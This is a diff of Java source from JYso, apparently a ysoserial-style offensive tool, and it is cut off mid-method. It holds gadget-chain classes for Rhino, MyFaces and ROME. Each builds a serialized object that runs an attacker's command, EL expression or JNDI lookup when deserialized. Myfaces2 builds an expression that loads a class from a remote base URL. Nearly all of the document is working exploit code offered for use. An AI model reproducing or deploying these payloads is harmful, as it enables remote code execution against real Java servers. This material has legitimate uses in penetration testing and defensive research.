Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
|
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
|
||||||
Reflections.setAccessible(makeSlot);
|
Reflections.setAccessible(makeSlot);
|
||||||
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
|
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
|
||||||
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
|
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
|
||||||
|
|
||||||
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
|
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
|
||||||
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
|
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
|
||||||
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
|
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
|
||||||
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
|
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
|
||||||
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||||
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
|
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
|
||||||
|
|
||||||
ScriptableObject scriptableObject = new Environment();
|
ScriptableObject scriptableObject = new Environment();
|
||||||
scriptableObject.setParentScope(initContextNativeJavaObject);
|
scriptableObject.setParentScope(initContextNativeJavaObject);
|
||||||
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
|
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
|
||||||
|
|
||||||
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
|
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
|
||||||
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
|
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
|
||||||
|
|
||||||
final Object tpl;
|
final Object tpl;
|
||||||
tpl = Gadgets.createTemplatesImpl(command);
|
tpl = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl);
|
Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl);
|
||||||
nativeJavaArray.setPrototype(scriptableObject);
|
nativeJavaArray.setPrototype(scriptableObject);
|
||||||
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
|
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
|
||||||
|
|
||||||
NativeJavaObject nativeJavaObject = new NativeJavaObject();
|
NativeJavaObject nativeJavaObject = new NativeJavaObject();
|
||||||
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
|
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
|
||||||
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
|
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
|
||||||
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
|
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
|
||||||
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||||
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
|
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
|
||||||
return nativeJavaObject;
|
return nativeJavaObject;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,84 +1,84 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.apache.myfaces.context.servlet.FacesContextImpl;
|
import org.apache.myfaces.context.servlet.FacesContextImpl;
|
||||||
import org.apache.myfaces.context.servlet.FacesContextImplBase;
|
import org.apache.myfaces.context.servlet.FacesContextImplBase;
|
||||||
import org.apache.myfaces.el.CompositeELResolver;
|
import org.apache.myfaces.el.CompositeELResolver;
|
||||||
import org.apache.myfaces.el.unified.FacesELContext;
|
import org.apache.myfaces.el.unified.FacesELContext;
|
||||||
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
|
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
|
||||||
|
|
||||||
import javax.el.ELContext;
|
import javax.el.ELContext;
|
||||||
import javax.el.ExpressionFactory;
|
import javax.el.ExpressionFactory;
|
||||||
import javax.el.ValueExpression;
|
import javax.el.ValueExpression;
|
||||||
import javax.servlet.ServletResponse;
|
import javax.servlet.ServletResponse;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* ValueExpressionImpl.getValue(ELContext)
|
* ValueExpressionImpl.getValue(ELContext)
|
||||||
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
|
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
|
||||||
* ValueExpressionMethodExpression.getMethodExpression()
|
* ValueExpressionMethodExpression.getMethodExpression()
|
||||||
* ValueExpressionMethodExpression.hashCode()
|
* ValueExpressionMethodExpression.hashCode()
|
||||||
* HashMap<K,V>.hash(Object)
|
* HashMap<K,V>.hash(Object)
|
||||||
* HashMap<K,V>.readObject(ObjectInputStream)
|
* HashMap<K,V>.readObject(ObjectInputStream)
|
||||||
* <p>
|
* <p>
|
||||||
* Arguments:
|
* Arguments:
|
||||||
* - an EL expression to execute
|
* - an EL expression to execute
|
||||||
* <p>
|
* <p>
|
||||||
* Requires:
|
* Requires:
|
||||||
* - MyFaces
|
* - MyFaces
|
||||||
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
|
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies
|
@Dependencies
|
||||||
@Authors({Authors.MBECHLER})
|
@Authors({Authors.MBECHLER})
|
||||||
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||||
public static String[] getDependencies() {
|
public static String[] getDependencies() {
|
||||||
if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) {
|
if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) {
|
||||||
return new String[]{
|
return new String[]{
|
||||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||||
"org.mortbay.jasper:apache-el:8.0.27",
|
"org.mortbay.jasper:apache-el:8.0.27",
|
||||||
"javax.servlet:javax.servlet-api:3.1.0",
|
"javax.servlet:javax.servlet-api:3.1.0",
|
||||||
|
|
||||||
// deps for mocking the FacesContext
|
// deps for mocking the FacesContext
|
||||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||||
};
|
};
|
||||||
} else if ("juel".equals(System.getProperty("el"))) {
|
} else if ("juel".equals(System.getProperty("el"))) {
|
||||||
return new String[]{
|
return new String[]{
|
||||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||||
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
|
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
|
||||||
"javax.servlet:javax.servlet-api:3.1.0",
|
"javax.servlet:javax.servlet-api:3.1.0",
|
||||||
|
|
||||||
// deps for mocking the FacesContext
|
// deps for mocking the FacesContext
|
||||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
|
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object makeExpressionPayload(String expr) throws Exception {
|
public static Object makeExpressionPayload(String expr) throws Exception {
|
||||||
FacesContextImpl fc = new FacesContextImpl(null, null, (ServletResponse) null);
|
FacesContextImpl fc = new FacesContextImpl(null, null, (ServletResponse) null);
|
||||||
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
|
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
|
||||||
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
|
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
|
||||||
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
|
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
|
||||||
|
|
||||||
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
|
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
|
||||||
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
|
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
|
||||||
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
|
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
|
||||||
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
|
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
|
||||||
|
|
||||||
return makeMap(e2, e);
|
return makeMap(e2, e);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
return makeExpressionPayload(command);
|
return makeExpressionPayload(command);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,29 +1,29 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
|
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
int sep = command.lastIndexOf(':');
|
int sep = command.lastIndexOf(':');
|
||||||
if (sep < 0) {
|
if (sep < 0) {
|
||||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||||
}
|
}
|
||||||
|
|
||||||
String url = command.substring(0, sep);
|
String url = command.substring(0, sep);
|
||||||
String className = command.substring(sep + 1);
|
String className = command.substring(sep + 1);
|
||||||
|
|
||||||
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
|
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
|
||||||
StringBuilder expr = new StringBuilder("${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}");
|
StringBuilder expr = new StringBuilder("${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}");
|
||||||
|
|
||||||
// if we add fewer than the actual classloaders we end up with a null entry
|
// if we add fewer than the actual classloaders we end up with a null entry
|
||||||
for (int i = 0; i < 100; i++) {
|
for (int i = 0; i < 100; i++) {
|
||||||
expr.append("${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('").append(url).append("').toURL())}");
|
expr.append("${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('").append(url).append("').toURL())}");
|
||||||
}
|
}
|
||||||
expr.append("${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('").append(className).append("').newInstance()}");
|
expr.append("${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('").append(className).append("').newInstance()}");
|
||||||
|
|
||||||
return Myfaces1.makeExpressionPayload(expr.toString());
|
return Myfaces1.makeExpressionPayload(expr.toString());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,77 +1,77 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.LdapServer;
|
import com.qi4l.JYso.LdapServer;
|
||||||
import org.reflections.Reflections;
|
import org.reflections.Reflections;
|
||||||
|
|
||||||
import java.lang.reflect.Modifier;
|
import java.lang.reflect.Modifier;
|
||||||
import java.util.Random;
|
import java.util.Random;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
|
|
||||||
import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap;
|
import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap;
|
||||||
|
|
||||||
public interface ObjectPayload<T> {
|
public interface ObjectPayload<T> {
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* return armed payload object to be serialized that will execute specified
|
* return armed payload object to be serialized that will execute specified
|
||||||
* command on deserialization
|
* command on deserialization
|
||||||
*/
|
*/
|
||||||
T getObject(String command) throws Exception;
|
T getObject(String command) throws Exception;
|
||||||
|
|
||||||
class Utils {
|
class Utils {
|
||||||
|
|
||||||
// get payload classes by classpath scanning
|
// get payload classes by classpath scanning
|
||||||
public static Set<Class<? extends ObjectPayload<?>>> getPayloadClasses() {
|
public static Set<Class<? extends ObjectPayload<?>>> getPayloadClasses() {
|
||||||
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
|
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
final Set<Class<? extends ObjectPayload<?>>> payloadTypes =
|
final Set<Class<? extends ObjectPayload<?>>> payloadTypes =
|
||||||
(Set<Class<? extends ObjectPayload<?>>>) (Set<?>)
|
(Set<Class<? extends ObjectPayload<?>>>) (Set<?>)
|
||||||
reflections.getSubTypesOf(ObjectPayload.class);
|
reflections.getSubTypesOf(ObjectPayload.class);
|
||||||
payloadTypes.removeIf(pc -> pc.isInterface() || Modifier.isAbstract(pc.getModifiers()));
|
payloadTypes.removeIf(pc -> pc.isInterface() || Modifier.isAbstract(pc.getModifiers()));
|
||||||
return payloadTypes;
|
return payloadTypes;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public static Class<? extends ObjectPayload<?>> getPayloadClass(final String className) {
|
public static Class<? extends ObjectPayload<?>> getPayloadClass(final String className) {
|
||||||
Class<? extends ObjectPayload<?>> clazz = null;
|
Class<? extends ObjectPayload<?>> clazz = null;
|
||||||
try {
|
try {
|
||||||
clazz = (Class<? extends ObjectPayload<?>>) Class.forName(className);
|
clazz = (Class<? extends ObjectPayload<?>>) Class.forName(className);
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
if (clazz == null) {
|
if (clazz == null) {
|
||||||
try {
|
try {
|
||||||
return (Class<? extends ObjectPayload<Object>>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className);
|
return (Class<? extends ObjectPayload<Object>>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className);
|
||||||
} catch (NoClassDefFoundError | Exception e) {
|
} catch (NoClassDefFoundError | Exception e) {
|
||||||
clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className);
|
clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) {
|
if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) {
|
||||||
clazz = null;
|
clazz = null;
|
||||||
}
|
}
|
||||||
return clazz;
|
return clazz;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public static void releasePayload(ObjectPayload<?> payload, Object object) throws Exception {
|
public static void releasePayload(ObjectPayload<?> payload, Object object) throws Exception {
|
||||||
if (payload instanceof ReleaseableObjectPayload) {
|
if (payload instanceof ReleaseableObjectPayload) {
|
||||||
((ReleaseableObjectPayload<?>) payload).release(object);
|
((ReleaseableObjectPayload<?>) payload).release(object);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
//生成随机字符
|
//生成随机字符
|
||||||
public static String generateRandomString(int length) {
|
public static String generateRandomString(int length) {
|
||||||
String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||||
StringBuilder sb = new StringBuilder();
|
StringBuilder sb = new StringBuilder();
|
||||||
|
|
||||||
Random random = new Random();
|
Random random = new Random();
|
||||||
for (int i = 0; i < length; i++) {
|
for (int i = 0; i < length; i++) {
|
||||||
int index = random.nextInt(characters.length());
|
int index = random.nextInt(characters.length());
|
||||||
char randomChar = characters.charAt(index);
|
char randomChar = characters.charAt(index);
|
||||||
sb.append(randomChar);
|
sb.append(randomChar);
|
||||||
}
|
}
|
||||||
|
|
||||||
return sb.toString();
|
return sb.toString();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,42 +1,42 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.sun.syndication.feed.impl.ObjectBean;
|
import com.sun.syndication.feed.impl.ObjectBean;
|
||||||
|
|
||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* TemplatesImpl.getOutputProperties()
|
* TemplatesImpl.getOutputProperties()
|
||||||
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
|
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
|
||||||
* NativeMethodAccessorImpl.invoke(Object, Object[])
|
* NativeMethodAccessorImpl.invoke(Object, Object[])
|
||||||
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
|
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
|
||||||
* Method.invoke(Object, Object...)
|
* Method.invoke(Object, Object...)
|
||||||
* ToStringBean.toString(String)
|
* ToStringBean.toString(String)
|
||||||
* ToStringBean.toString()
|
* ToStringBean.toString()
|
||||||
* ObjectBean.toString()
|
* ObjectBean.toString()
|
||||||
* EqualsBean.beanHashCode()
|
* EqualsBean.beanHashCode()
|
||||||
* ObjectBean.hashCode()
|
* ObjectBean.hashCode()
|
||||||
* HashMap<K,V>.hash(Object)
|
* HashMap<K,V>.hash(Object)
|
||||||
* HashMap<K,V>.readObject(ObjectInputStream)
|
* HashMap<K,V>.readObject(ObjectInputStream)
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies("rome:rome:1.0")
|
@Dependencies("rome:rome:1.0")
|
||||||
@Authors({Authors.MBECHLER})
|
@Authors({Authors.MBECHLER})
|
||||||
public class ROME implements ObjectPayload<Object> {
|
public class ROME implements ObjectPayload<Object> {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
final Object templates;
|
final Object templates;
|
||||||
templates = Gadgets.createTemplatesImpl(command);
|
templates = Gadgets.createTemplatesImpl(command);
|
||||||
ObjectBean delegate = new ObjectBean(Templates.class, templates);
|
ObjectBean delegate = new ObjectBean(Templates.class, templates);
|
||||||
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
||||||
return makeMap(root, root);
|
return makeMap(root, root);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,37 +1,37 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.sun.syndication.feed.impl.EqualsBean;
|
import com.sun.syndication.feed.impl.EqualsBean;
|
||||||
|
|
||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.createMap;
|
import static com.qi4l.JYso.gadgets.utils.Utils.createMap;
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
@Dependencies("rome:rome:1.0")
|
@Dependencies("rome:rome:1.0")
|
||||||
public class ROME2 implements ObjectPayload<Object> {
|
public class ROME2 implements ObjectPayload<Object> {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
final Object o;
|
final Object o;
|
||||||
|
|
||||||
o = Gadgets.createTemplatesImpl(command);
|
o = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
EqualsBean bean = new EqualsBean(String.class, "");
|
EqualsBean bean = new EqualsBean(String.class, "");
|
||||||
|
|
||||||
Map map1 = createMap("aa", o);
|
Map map1 = createMap("aa", o);
|
||||||
map1.put("bB", bean);
|
map1.put("bB", bean);
|
||||||
|
|
||||||
Map map2 = createMap("aa", bean);
|
Map map2 = createMap("aa", bean);
|
||||||
map2.put("bB", o);
|
map2.put("bB", o);
|
||||||
|
|
||||||
Reflections.setFieldValue(bean, "_beanClass", Templates.class);
|
Reflections.setFieldValue(bean, "_beanClass", Templates.class);
|
||||||
Reflections.setFieldValue(bean, "_obj", o);
|
Reflections.setFieldValue(bean, "_obj", o);
|
||||||
|
|
||||||
return makeMap(map1, map2);
|
return makeMap(map1, map2);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,24 +1,24 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.sun.syndication.feed.impl.ObjectBean;
|
import com.sun.syndication.feed.impl.ObjectBean;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Authors({"Firebasky"})
|
@Authors({"Firebasky"})
|
||||||
@Dependencies("rome:rome:1.0")
|
@Dependencies("rome:rome:1.0")
|
||||||
public class ROME3 implements ObjectPayload<Object> {
|
public class ROME3 implements ObjectPayload<Object> {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
Object o = Gadgets.createTemplatesImpl(command);
|
Object o = Gadgets.createTemplatesImpl(command);
|
||||||
ObjectBean delegate = new ObjectBean(Templates.class, o);
|
ObjectBean delegate = new ObjectBean(Templates.class, o);
|
||||||
BadAttributeValueExpException b = new BadAttributeValueExpException("");
|
BadAttributeValueExpException b = new BadAttributeValueExpException("");
|
||||||
Reflections.setFieldValue(b, "val", delegate);
|
Reflections.setFieldValue(b, "val", delegate);
|
||||||
return b;
|
return b;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,37 +1,37 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.rometools.rome.feed.impl.EqualsBean;
|
import com.rometools.rome.feed.impl.EqualsBean;
|
||||||
import com.rometools.rome.feed.impl.ToStringBean;
|
import com.rometools.rome.feed.impl.ToStringBean;
|
||||||
import com.sun.rowset.JdbcRowSetImpl;
|
import com.sun.rowset.JdbcRowSetImpl;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
public class ROMEJDBC implements ObjectPayload<Object> {
|
public class ROMEJDBC implements ObjectPayload<Object> {
|
||||||
// Assuming JDKUtil class with makeJNDIRowSet method
|
// Assuming JDKUtil class with makeJNDIRowSet method
|
||||||
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
|
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
|
||||||
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||||
rs.setDataSourceName(jndiUrl);
|
rs.setDataSourceName(jndiUrl);
|
||||||
rs.setMatchColumn("foo");
|
rs.setMatchColumn("foo");
|
||||||
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
|
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
|
||||||
return rs;
|
return rs;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
// Assuming makeJNDIRowSet is a static method in JDKUtil
|
// Assuming makeJNDIRowSet is a static method in JDKUtil
|
||||||
return makeROMEAllPropertyTrigger(JdbcRowSetImpl.class, makeJNDIRowSet(command));
|
return makeROMEAllPropertyTrigger(JdbcRowSetImpl.class, makeJNDIRowSet(command));
|
||||||
}
|
}
|
||||||
|
|
||||||
public <T> Object makeROMEAllPropertyTrigger(Class<T> type, T obj) throws Exception {
|
public <T> Object makeROMEAllPropertyTrigger(Class<T> type, T obj) throws Exception {
|
||||||
ToStringBean item = new ToStringBean(type, obj);
|
ToStringBean item = new ToStringBean(type, obj);
|
||||||
EqualsBean root = new EqualsBean(ToStringBean.class, item);
|
EqualsBean root = new EqualsBean(ToStringBean.class, item);
|
||||||
return makeHashCodeTrigger(root);
|
return makeHashCodeTrigger(root);
|
||||||
}
|
}
|
||||||
|
|
||||||
public Object makeHashCodeTrigger(Object o1) throws Exception {
|
public Object makeHashCodeTrigger(Object o1) throws Exception {
|
||||||
